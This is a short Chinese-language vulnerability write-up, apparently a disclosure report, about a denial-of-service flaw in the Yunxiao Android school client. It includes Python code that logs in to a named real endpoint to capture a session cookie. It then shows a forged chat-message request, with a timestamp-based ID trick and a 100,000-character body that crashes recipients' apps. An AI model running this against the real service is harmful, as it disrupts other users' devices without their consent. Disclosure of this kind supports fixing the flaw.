云校Android客户端拒绝服务漏洞
注:文中代码均使用Python语言
漏洞形成原因:
云校Android客户端发送信息功能在客户端限制了信息长度,但是在服务端并没有验证,Android客户端接收信息后也没有截断,直接输出了消息,于是造成了拒绝服务
首先利用 云校密码爆破#3利用Android客户端 中提到的登录接口获取一个cookie
#getcookie url = "http://passport.yunxiao.com:8088/passport/v1/login" postdata = ("username={换成用户名}@bnds&appVersion=76&password={换成密码}&deviceType=android") request = urllib2.Request(url, data = postdata) response = urllib2.urlopen(request) content = response.read() pattern = re.compile(r'.*?"yxssid":"(?P<cookie>.*?)\u003d\u003d".*?',re.I|re.S) match = pattern.match(content) cookie = "YXSSID=" + match.group('cookie') + "=="
再伪造发送消息的请求
http://server1.yunxiao.com:8180/chat/message/send
POST:
{"body":"{消息内容}","id":"{id号}","toJID":"收信人账号(非登陆账号)","type":"chat"}
这里需要注意一下,ID这个参数显然不是随便填的。但是熟悉时间戳的话会发现,ID的前10位很明显是时间戳,查了一下,果真没错,而后三位估计是随机数。
看样子只需要让ID的前10位比现在的时间晚就行了,生成一个比现在晚20秒的时间戳
time = str(time.time() + 20) time = time[:10] + "846"
另外,发送时需要将Content-type设为application/json
发送测试,能成功收到,再试试包括10万个a的请求,发现服务器也接受了,而也在客户端中显示了出来
这样成功让客户端崩溃了。而且只要一点击消息界面就会开始卡,低配手机会直接崩溃。
但是还有个问题,现在还没解决,就是会出现服务端返回{“errno”:0},但是客户端接收不到的情况,还有待研究。